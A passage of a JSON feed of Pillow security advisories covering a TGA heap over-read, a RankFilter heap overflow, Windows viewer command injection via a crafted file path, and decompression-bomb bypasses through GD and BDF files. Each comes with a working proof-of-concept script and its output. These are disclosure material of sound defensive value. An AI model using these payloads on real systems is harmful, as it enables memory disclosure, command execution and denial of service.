io.BytesIO()\nImage.new(\"1\", (2, 1)).save(out, format=\"TGA\", compression=\"tga_rle\")\n```\n\nObserved on local Pillow `12.3.0.dev0` ASAN target:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nREAD of size 1\ncomparePixels /out/src/src/libImaging/TgaRleEncode.c:10\nImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81\n0 bytes after a 1-byte allocation from _setimage\n```\n\n#### Maximum-width heap disclosure\n\nThis PoC uses one maximum-width row. It parses the generated TGA packets and\nextracts only payload bytes whose source offsets were outside the allocated\npacked row. Rows are  avoided because they mostly repeat the same adjacent heap window.\n\nRun the following with a standard affected Pillow installation.\n\n```python\nimport hashlib\nimport io\nimport PIL\nfrom PIL import Image\n\nWIDTH = 65535\nATTEMPTS = 20\nROW_BYTES = (WIDTH + 7) // 8\nMAX_OOB_WINDOW = WIDTH - ROW_BYTES\n\ndef extract_oob_payload(data):\n    i = 18\n    pixel = 0\n    oob = bytearray()\n\n    while pixel \u003c WIDTH:\n        descriptor = data[i]\n        i += 1\n        count = (descriptor \u0026 0x7F) + 1\n\n        if descriptor \u0026 0x80:\n            value = data[i]\n            i += 1\n            if pixel + count - 1 \u003e= ROW_BYTES:\n                oob.append(value)\n        else:\n            values = data[i : i + count]\n            i += count\n            oob.extend(values[max(ROW_BYTES - pixel, 0) :])\n\n        pixel += count\n\n    return bytes(oob)\n\n\nbest = b\"\"\n\nfor _ in range(ATTEMPTS):\n    out = io.BytesIO()\n    Image.new(\"1\", (WIDTH, 1), 0).save(out, format=\"TGA\", compression=\"tga_rle\")\n    oob = extract_oob_payload(out.getvalue())\n    if len(oob) \u003e len(best):\n        best = oob\n\nwith open(\"/tmp/max_oob_bytes.bin\", \"wb\") as fp:\n    fp.write(best)\n\nprint(f\"Pillow={PIL.__version__}\")\nprint(f\"packed_row_bytes={ROW_BYTES}\")\nprint(f\"maximum_oob_window={MAX_OOB_WINDOW}\")\nprint(f\"serialized_distinct_oob_offsets={len(best)}\")\nprint(f\"nonzero_oob_bytes={sum(byte != 0 for byte in best)}\")\nprint(f\"coverage={len(best) / MAX_OOB_WINDOW:.2%}\")\nprint(f\"sha256={hashlib.sha256(best).hexdigest()}\")\n```\n\nObserved on installed Pillow `12.2.0`:\n\n```text\nPillow=12.2.0\npacked_row_bytes=8192\nmaximum_oob_window=57343\nserialized_distinct_oob_offsets=57297\nnonzero_oob_bytes=54407\ncoverage=99.92%\n```\n\n### Impact\n\nThis is a heap out-of-bounds read and potential information disclosure.\n\nA maximum-width single-row image can cause nearly the full\n`57343`-byte adjacent heap window to be incorporated into one output file.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T23:09:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-fj7v-r99m-22gq","https://nvd.nist.gov/vuln/detail/CVE-2026-59198","https://github.com/python-pillow/Pillow/pull/9709","https://github.com/python-pillow/Pillow/commit/eada3cbd7fb9963ee90673fb7b5270124a0d5f4b","https://github.com/python-pillow/Pillow/releases/tag/12.3.0","https://github.com/advisories/GHSA-fj7v-r99m-22gq"],"source_kind":"github","identifiers":["GHSA-fj7v-r99m-22gq","CVE-2026-59198"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-21T00:00:08.727Z","updated_at":"2026-07-23T21:00:17.322Z","epss_percentage":0.00313,"epss_percentile":0.23533,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1majd2LXI5OW0tMjJncc4ABcRW","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1majd2LXI5OW0tMjJncc4ABcRW","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"12.3.0","vulnerable_version_range":"\u003e= 5.2.0, \u003c 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1majd2LXI5OW0tMjJncc4ABcRW/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14ajk2LTYzZ3AtMmdtcs4ABcRV","url":"https://github.com/advisories/GHSA-xj96-63gp-2gmr","title":"Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`","description":"### Summary\n\nPillow's public rank-filter API can trigger a native heap out-of-bounds write\nwhen given a very large odd filter size.\n\nMinimal public API trigger:\n\n```python\nfrom PIL import Image, ImageFilter\n\nim = Image.new(\"L\", (3, 3), 128)\nim.filter(ImageFilter.MedianFilter(4294967295))\n```\n\n`ImageFilter.RankFilter.filter()` calls `image.expand(size // 2, size // 2)`\nbefore rank-filter size validation. With `size = 4294967295`, the\nexpansion margin is `2147483647` (`INT_MAX`). `ImagingExpand()` then computes\nthe output dimensions with unchecked signed `int` arithmetic. On tested builds,\nthis wraps to a tiny output image and the border-expansion loop writes past the\nallocation.\n\nThis is reachable through documented public classes (`RankFilter`,\n`MedianFilter`, `MinFilter`, and `MaxFilter`). No private API, ctypes, or custom\nPython object is needed.\n\n### Details\n\nCurrent `src/PIL/ImageFilter.py`:\n\n```python\nclass RankFilter(Filter):\n    def filter(self, image):\n        if image.mode == \"P\":\n            msg = \"cannot filter palette images\"\n            raise ValueError(msg)\n        image = image.expand(self.size // 2, self.size // 2)\n        return image.rankfilter(self.size, self.rank)\n```\n\nThe `expand()` call is made before `image.rankfilter(...)`.\n\nCurrent `src/libImaging/Filter.c:ImagingExpand()` does not check output-size\noverflow:\n\n```c\nif (xmargin \u003c 0 \u0026\u0026 ymargin \u003c 0) {\n    return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\n\nimOut = ImagingNewDirty(\n    imIn-\u003emode, imIn-\u003exsize + 2 * xmargin, imIn-\u003eysize + 2 * ymargin\n);\n```\n\nFor a `3x3` image and `xmargin = ymargin = INT_MAX`, the computed output size\nwraps to `1x1` on tested builds. The following loop still uses the huge margin:\n\n```c\nfor (x = 0; x \u003c xmargin; x++) {\n    imOut-\u003eimage[yout][x] = imIn-\u003eimage[yin][0];\n}\n```\n\n`src/libImaging/RankFilter.c` does contain checks that would reject this size:\n\n```c\nif (!(size \u0026 1)) {\n    return (Imaging)ImagingError_ValueError(\"bad filter size\");\n}\nif (size \u003e INT_MAX / size || size \u003e INT_MAX / (size * (int)sizeof(FLOAT32))) {\n    return (Imaging)ImagingError_ValueError(\"filter size too large\");\n}\n```\n\nBut  those checks are reached only after `RankFilter.filter()` has already\ncalled `image.expand(...)`.\n\nMode `\"L\"` produces 1-byte OOB stores. Modes `\"I\"` and `\"F\"` produce 4-byte OOB\nstores. The repeated value written OOB is copied from the source image border\npixel, so attacker-supplied image bytes can influence it. This is a sequential\noverwrite, not an arbitrary-address write.\n\n### PoC\n\nMinimal ASAN crash PoC:\n\n```python\nfrom PIL import Image, ImageFilter\n\nim = Image.new(\"L\", (3, 3), 128)\nim.filter(ImageFilter.MedianFilter(4294967295))\n```\n\nObserved on local Pillow `12.3.0.dev0` ASAN target:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 1\nImagingExpand /out/src/src/libImaging/Filter.c:99\n_expand_image /out/src/src/_imaging.c:1100\n0 bytes after a 1-byte allocation\n```\n\n4-byte write variant with source pixel loaded from normal image bytes:\n\n```python\nfrom io import BytesIO\nfrom PIL import Image, ImageFilter\n\nSIZE = 4294967295\nPIXEL = 0x41424344\n\nsrc = BytesIO()\nImage.new(\"I\", (3, 3), PIXEL).save(src, format=\"TIFF\")\n\nim = Image.open(BytesIO(src.getvalue()))\nim.load()\nassert im.mode == \"I\"\nassert im.getpixel((0, 0)) == PIXEL\n\nim.filter(ImageFilter.MedianFilter(SIZE))\n```\n\nObserved ASAN signature:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 4\nImagingExpand /out/src/src/libImaging/Filter.c:101\n_expand_image /out/src/src/_imaging.c:1100\n0 bytes after a 4-byte allocation\n```\n\nVersion checks:\n\n```text\nPillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime\nPillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime\nPillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public\n                           validation order and unchecked ImagingExpand arithmetic\nupstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected\n```\n\n### Impact\n\nIt is a heap out-of-bounds write in Pillow's native C extension, reachable\nthrough public image-filter classes.\n\nApplications are impacted if an untrusted user can control the rank-filter\nsize/configuration passed to Pillow. If the image is also attacker-supplied, the\nsource pixel value written out of bounds can be attacker-influenced, including\n4-byte values for mode `\"I\"` images.\n\n\n## Possible fix\n\nValidate the rank-filter size before calling `image.expand(...)`, and harden\n`ImagingExpand()` against invalid margins and overflow:\n\n```c\nif (xmargin \u003c 0 || ymargin \u003c 0) {\n    return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\nif (xmargin \u003e (INT_MAX - imIn-\u003exsize) / 2 ||\n    ymargin \u003e (INT_MAX - imIn-\u003eysize) / 2) {\n    return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-20T23:08:58.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr","https://nvd.nist.gov/vuln/detail/CVE-2026-59197","https://github.com/python-pillow/Pillow/pull/9695","https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1","https://github.com/python-pillow/Pillow/releases/tag/12.3.0","https://github.com/advisories/GHSA-xj96-63gp-2gmr"],"source_kind":"github","identifiers":["GHSA-xj96-63gp-2gmr","CVE-2026-59197"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-21T00:00:08.727Z","updated_at":"2026-08-20T13:00:40.936Z","epss_percentage":0.00436,"epss_percentile":0.36529,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14ajk2LTYzZ3AtMmdtcs4ABcRV","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14ajk2LTYzZ3AtMmdtcs4ABcRV","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"12.3.0","vulnerable_version_range":"\u003c 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14ajk2LTYzZ3AtMmdtcs4ABcRV/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00eDRqLTJnN2MtODN3Ns4ABcP4","url":"https://github.com/advisories/GHSA-4x4j-2g7c-83w6","title":"Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path","description":"### 1. Summary\n\n`WindowsViewer.get_command()` constructs a `cmd.exe` shell command by directly embedding a\nfile path into an f-string without escaping. The result is passed to\n`subprocess.Popen(..., shell=True)`. Shell metacharacters in the file path — most\nimportantly a double-quote (`\"`) that breaks out of the wrapping, followed by `\u0026` — allow\ninjection of arbitrary `cmd.exe` commands.\n\nThe macOS equivalent (`MacViewer`) correctly applies `shlex.quote()` to the same parameter.\nThe Linux equivalent (`UnixViewer`) does likewise. Windows is the only platform missing this\nprotection, despite `shlex.quote` being **already imported** on line 21 of `ImageShow.py`.\n\n---\n\n### 2. Vulnerable Code\n\n**File:** `src/PIL/ImageShow.py`, lines 133–150\n\n```python\nclass WindowsViewer(Viewer):\n    format = \"PNG\"\n    options = {\"compress_level\": 1, \"save_all\": True}\n\n    def get_command(self, file: str, **options: Any) -\u003e str:\n        return (\n            f'start \"Pillow\" /WAIT \"{file}\" '    # ← f-string, no escaping\n            \"\u0026\u0026 ping -n 4 127.0.0.1 \u003eNUL \"\n            f'\u0026\u0026 del /f \"{file}\"'                # ← same path, unescaped again\n        )\n\n    def show_file(self, path: str, **options: Any) -\u003e int:\n        if not os.path.exists(path):\n            raise FileNotFoundError\n        subprocess.Popen(\n            self.get_command(path, **options),\n            shell=True,                          # ← shell=True\n            creationflags=getattr(subprocess, \"CREATE_NO_WINDOW\"),\n        )  # nosec                               # ← Bandit warning suppressed manually\n        return 1\n```\n\n**Contrast with macOS — SAFE (line 164–168):**\n```python\nclass MacViewer(Viewer):\n    def get_command(self, file: str, **options: Any) -\u003e str:\n        command = \"open -a Preview.app\"\n        command = f\"({command} {quote(file)}; sleep 20; rm -f {quote(file)})\u0026\"\n        return command                           # ← shlex.quote() applied\n```\n\n**Cross-platform summary:**\n\n| Platform | Class          | `shlex.quote()`? | `shell=True`? | Safe? |\n|----------|----------------|------------------|---------------|-------|\n| macOS    | `MacViewer`    | **Yes** (line 168) | No (list args) | ✅ Yes |\n| Linux    | `UnixViewer`   | **Yes** (line 207) | No (list args) | ✅ Yes |\n| Windows  | `WindowsViewer`| **No** (line 134–137) | **Yes** (line 148) | ❌ No |\n\n`shlex.quote` is imported on line 21. Its omission from the Windows path is a clear\noversight, not a deliberate design choice.\n\n---\n### 3. Proof of Concept\n\nA full working PoC is at `poc_pillow_injection.py`. Key parts:\n\n**Part A — Injection string construction (static, no execution):**\n```python\nfrom PIL.ImageShow import WindowsViewer\n\nviewer = WindowsViewer()\nevil_path = r'C:\\Temp\\evil\" \u0026 echo PWNED \u0026 echo \"'\ncmd = viewer.get_command(evil_path)\nprint(cmd)\n# Output:\n# start \"Pillow\" /WAIT \"C:\\Temp\\evil\" \u0026 echo PWNED \u0026 echo \"\" \u0026\u0026 ping ...\n# ┌─ start \"Pillow\" /WAIT \"C:\\Temp\\evil\"   → fails (file not found)\n# ├─ \u0026 echo PWNED                           → INJECTED COMMAND\n# └─ \u0026 echo \"\"  \u0026\u0026 ping ...                → continues\n```\n\n**Part B — Live execution via `os.system()` (verified on Windows 11, Pillow 12.1.1):**\n```python\nimport os, tempfile\nfrom PIL.ImageShow import WindowsViewer\n\nviewer = WindowsViewer()\npoc_dir = tempfile.mkdtemp()\nmarker  = os.path.join(poc_dir, \"INJECTION_CONFIRMED.txt\")\n\n# Craft injection: payload writes a marker file (harmless)\npayload   = f'echo REAL_INJECTED \u003e \"{marker}\"'\nevil_path = os.path.join(poc_dir, f'poc\" \u0026 {payload} \u0026 echo \"')\n\n# Call the REAL Pillow get_command():\nreal_cmd = viewer.get_command(evil_path)\n\n# Execute the same way the base Viewer.show_file() does (os.system):\nos.system(real_cmd)\n\nassert os.path.exists(marker)                          # PASSES — marker was created\nassert \"REAL_INJECTED\" in open(marker).read()          # PASSES\n# → CONFIRMED: arbitrary command injection via get_command()\n```\n\n---","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T21:14:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.5,"cvss_vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6","https://nvd.nist.gov/vuln/detail/CVE-2026-55798","https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a","https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4","https://github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2257.yaml","https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst","https://github.com/advisories/GHSA-4x4j-2g7c-83w6"],"source_kind":"github","identifiers":["GHSA-4x4j-2g7c-83w6","CVE-2026-55798"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T22:00:09.057Z","updated_at":"2026-08-16T23:01:02.461Z","epss_percentage":0.00177,"epss_percentile":0.07523,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00eDRqLTJnN2MtODN3Ns4ABcP4","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00eDRqLTJnN2MtODN3Ns4ABcP4","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"12.3.0","vulnerable_version_range":"\u003c 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00eDRqLTJnN2MtODN3Ns4ABcP4/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1waGo5LW12NHctNjVwbc4ABcP3","url":"https://github.com/advisories/GHSA-phj9-mv4w-65pm","title":"Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()`","description":"## Description\n\n`PIL/GdImageFile.py` `GdImageFile._open()` reads image dimensions from the GD 2.x header and stores them in `self._size` without calling `Image._decompression_bomb_check()`. Because `GdImageFile` is **not registered with `Image.register_open()`**, it never passes through the standard `Image.open()` code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — `PIL.GdImageFile.open(fp)` — which directly instantiates the class, fully bypassing the documented protection.\n\n**Vulnerable code (`PIL/GdImageFile.py` lines 50–61):**\n\n```python\ndef _open(self) -\u003e None:\n    s = self.fp.read(1037)\n    if i16(s) not in [65534, 65535]:\n        raise SyntaxError(\"Not a valid GD 2.x .gd file\")\n    self._mode = \"P\"\n    self._size = i16(s, 2), i16(s, 4)   # ← unsigned 16-bit; max 65535 each\n    # NO _decompression_bomb_check() call here ←\n    ...\n    self.tile = [ImageFile._Tile(\"raw\", (0, 0) + self.size, 1037, \"L\")]\n```\n\nWhen `load()` is subsequently called on the returned image object:\n\n```python\nload() → load_prepare() → Image.core.new(\"P\", (65535, 65535))\n# ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this\n```\n\n**Dimension arithmetic:**\n\n| Field | Value |\n|---|---|\n| Maximum width from header | 65,535 (unsigned 16-bit) |\n| Maximum height from header | 65,535 (unsigned 16-bit) |\n| Maximum pixel count | 65,535 × 65,535 = **4,294,836,225** |\n| `DecompressionBombError` threshold | 178,956,970 (2 × MAX_IMAGE_PIXELS) |\n| **Overshoot ratio** | **24× above DecompressionBombError threshold** |\n| Memory at max dimensions | **≈ 4.3 GB** (palette-mode: 1 byte/pixel) |\n| Minimum attack file size | **1,037 bytes** (header only — no pixel data needed) |\n\n**Comparison with safe sibling plugin (`WalImageFile`):**\n\n`WalImageFile` is in the same category — not registered with `Image.open()`, loaded via its own `open()` helper. It was previously patched with the correct fix:\n\n```python\n# PIL/WalImageFile.py line 46 — CORRECT pattern (already patched)\nself._size = i32(header, 32), i32(header, 36)\nImage._decompression_bomb_check(self.size)   # ← present\n```\n\n`GdImageFile` was never updated to match, leaving a gap in protection.\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: GdImageFile decompression bomb bypass\n1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check\n\"\"\"\nimport io, struct\nfrom PIL import GdImageFile, Image\n\n# Build minimal 1037-byte GD 2.x palette-mode header:\n#   sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)\nsig          = struct.pack(\"\u003eH\", 0xFFFE)       # 65534 = GD 2.x magic\nw            = struct.pack(\"\u003eH\", 65535)         # max width\nh            = struct.pack(\"\u003eH\", 65535)         # max height\ntrue_color   = b\"\\x00\"                          # 0 = palette mode\ntindex       = struct.pack(\"\u003eI\", 0xFFFFFFFF)    # \u003e 255 = no transparency\ncolors_used  = b\"\\x00\\x00\"\npalette_data = b\"\\x00\" * 1024\nheader = sig + w + h + true_color + tindex + colors_used + palette_data\nassert len(header) == 1037\n\n# Confirm: standard Image.open() path BLOCKS this size\ntry:\n    Image._decompression_bomb_check((65535, 65535))\nexcept Image.DecompressionBombError as e:\n    print(f\"[BLOCKED] Image.open() path: {e}\")\n\n# Vulnerable path: GdImageFile.open() has NO bomb check\nimg = GdImageFile.open(io.BytesIO(header))\nprint(f\"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}\")\nprint(f\"         No _decompression_bomb_check called — 4.3 GB allocation not blocked\")\n\n# Trigger load_prepare() → Image.core.new(\"P\", (65535, 65535))\ntry:\n    img.load()\nexcept OSError:\n    print(f\"[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted\")\n\nprint(f\"\\n[MATH]   {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold\")\nprint(f\"[MATH]   Attack file: 1,037 bytes only\")\n```\n\n**Expected output:**\n```\n[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970\npixels, could be decompression bomb DOS attack.\n[BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P\n         No _decompression_bomb_check called — 4.3 GB allocation not blocked\n[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted\n\n[MATH]   4,294,836,225 pixels = 24.0× error threshold\n[MATH]   Attack file: 1,037 bytes only\n```\n\n**Verified live on Pillow 12.2.0.**\n\n**Two attack paths:**\n\n| Path | File size | Effect |\n|---|---|---|\n| Transient (header only) | **1,037 bytes** | `load_prepare()` attempts 4.3 GB C allocation → `OSError` after spike |\n| Persistent (full pixel data) | ~4.3 GB | `load()` completes, 4.3 GB stays in memory for object lifetime |\n\nFor the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.\n\n**Real-world scenario:**\n```python\nfrom PIL import GdImageFile\n\n# Application accepts user-uploaded .gd files\nimg = GdImageFile.open(user_uploaded_file)   # succeeds — no bomb check\nimg.load()                                    # triggers 4.3 GB C-heap allocation\n```\n\n## Impact\n\n- **Availability:** HIGH — a single 1,037-byte malicious `.gd` file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down.\n- **Confidentiality:** None\n- **Integrity:** None\n- **Authentication required:** No — any public endpoint accepting image uploads is affected\n- **User interaction:** None\n\nAny service that calls `PIL.GdImageFile.open(user_file)` followed by `.load()` (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.\n\nConfirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-20T21:13:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pm","https://nvd.nist.gov/vuln/detail/CVE-2026-55380","https://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2256.yaml","https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst","https://github.com/advisories/GHSA-phj9-mv4w-65pm"],"source_kind":"github","identifiers":["GHSA-phj9-mv4w-65pm","CVE-2026-55380"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T22:00:09.057Z","updated_at":"2026-08-12T04:01:01.468Z","epss_percentage":0.00418,"epss_percentile":0.34556,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1waGo5LW12NHctNjVwbc4ABcP3","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1waGo5LW12NHctNjVwbc4ABcP3","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"12.3.0","vulnerable_version_range":"\u003c 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1waGo5LW12NHctNjVwbc4ABcP3/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00NWhxLWN4d2gtZjZ2Y84ABcP2","url":"https://github.com/advisories/GHSA-45hq-cxwh-f6vc","title":"Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading","description":"### Summary\n`PIL/BdfFontFile.py` `bdf_char()` (lines 84–88) reads the `BBX width height` field from a BDF font file and passes the dimensions directly to `Image.new()` without calling `Image._decompression_bomb_check()`. This completely bypasses Pillow's documented decompression bomb protection.\n\n`Image.open()` enforces `MAX_IMAGE_PIXELS = 89,478,485` and raises `DecompressionBombError` for images exceeding `2 × MAX = 178,956,970` pixels. The BDF font loading path calls `Image.new()` directly, which only calls `_check_size()` (validates `\u003e= 0`) — no pixel count limit.\n\n**Vulnerable code (`PIL/BdfFontFile.py` lines 84–88):**\n```python\n# width, height from attacker-controlled \"BBX width height x y\" line\ntry:\n    im = Image.frombytes(\"1\", (width, height), bitmap, \"hex\", \"1\")\nexcept ValueError:\n    # TRIGGERED when BITMAP section is empty (zero hex lines)\n    im = Image.new(\"1\", (width, height))   # ← NO _decompression_bomb_check()!\n    # ^ This image is stored in self.glyph[ch] — persists in memory\n```\n\n**Attack trigger:** A BDF glyph with `BBX 20000 20000` and an empty `BITMAP` section causes `Image.frombytes()` to raise `ValueError`, then `Image.new(\"1\", (20000, 20000))` allocates **50 MB** of C-heap silently. Image.open() would raise `DecompressionBombError` for the same dimensions.\n\n## Steps to reproduce\n\n**Minimal malicious BDF file (270 bytes):**\n```\nSTARTFONT 2.1\nSIZE 16 75 75\nFONTBOUNDINGBOX 16 16 0 -4\nSTARTPROPERTIES 1\nCOMMENT placeholder\nENDPROPERTIES\nCHARS 1\nSTARTCHAR A\nENCODING 65\nSWIDTH 500 0\nDWIDTH 8 0\nBBX 20000 20000 0 0\nBITMAP\nENDCHAR\nENDFONT\n```\n\n**Proof of Concept script:**\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation\"\"\"\nimport io, warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom PIL.BdfFontFile import BdfFontFile\nfrom PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError\n\nW, H = 20000, 20000   # 400M pixels → above DecompressionBombError threshold\n\n# Show what Image.open() would do\nwarnings.filterwarnings(\"error\", category=DecompressionBombWarning)\ntry:\n    _decompression_bomb_check((W, H))\nexcept (DecompressionBombWarning, DecompressionBombError) as e:\n    print(f\"[Image.open() path] BLOCKED by {type(e).__name__}\")\nwarnings.filterwarnings(\"ignore\")\n\n# Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check\nbdf = f\"\"\"STARTFONT 2.1\nSIZE 16 75 75\nFONTBOUNDINGBOX 16 16 0 -4\nSTARTPROPERTIES 1\nCOMMENT x\nENDPROPERTIES\nCHARS 1\nSTARTCHAR A\nENCODING 65\nSWIDTH 500 0\nDWIDTH 8 0\nBBX {W} {H} 0 0\nBITMAP\nENDCHAR\nENDFONT\n\"\"\".encode()\n\nprint(f\"[*] BDF file size  : {len(bdf)} bytes\")\nprint(f\"[*] Glyph size     : {W} x {H} = {W*H:,} pixels\")\nprint(f\"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)\")\n\nBdfFontFile(io.BytesIO(bdf))   # No exception — bomb check bypassed!\n\nprint(f\"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated\")\nprint(f\"    Image.open() path would have raised DecompressionBombError\")\n```\n\n**Expected output:**\n```\n[Image.open() path] BLOCKED by DecompressionBombError\n[*] BDF file size  : 270 bytes\n[*] Glyph size     : 20000 x 20000 = 400,000,000 pixels\n[*] C-heap target  : 47 MB  (mode '1' = 1 bit/pixel)\n[!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated\n    Image.open() path would have raised DecompressionBombError\n```\n\n**Amplified attack (multiple glyphs):**  \nA BDF file defining 256 glyphs each at `BBX 8000 8000` causes `256 × 7.6 MB = ~1.95 GB` total C-heap allocation — all silently, bypassing documented bomb protection.\n\n### Impact\n- **Availability**: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs\n- **Confidentiality**: None  \n- **Integrity**: None\n- Any service loading BDF fonts from untrusted sources (e.g., `ImageFont.load(\"user.bdf\")`, `BdfFontFile(fp)`) is affected\n- Loaded glyph images persist in `self.glyph[ch]` for the lifetime of the font object — memory is NOT freed until the font is garbage collected","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-20T21:13:18.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc","https://nvd.nist.gov/vuln/detail/CVE-2026-55379","https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2255.yaml","https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst","https://github.com/advisories/GHSA-45hq-cxwh-f6vc"],"source_kind":"github","identifiers":["GHSA-45hq-cxwh-f6vc","CVE-2026-55379"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T22:00:09.057Z","updated_at":"2026-07-26T14:00:31.665Z","epss_percentage":0.00421,"epss_percentile":0.3452,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS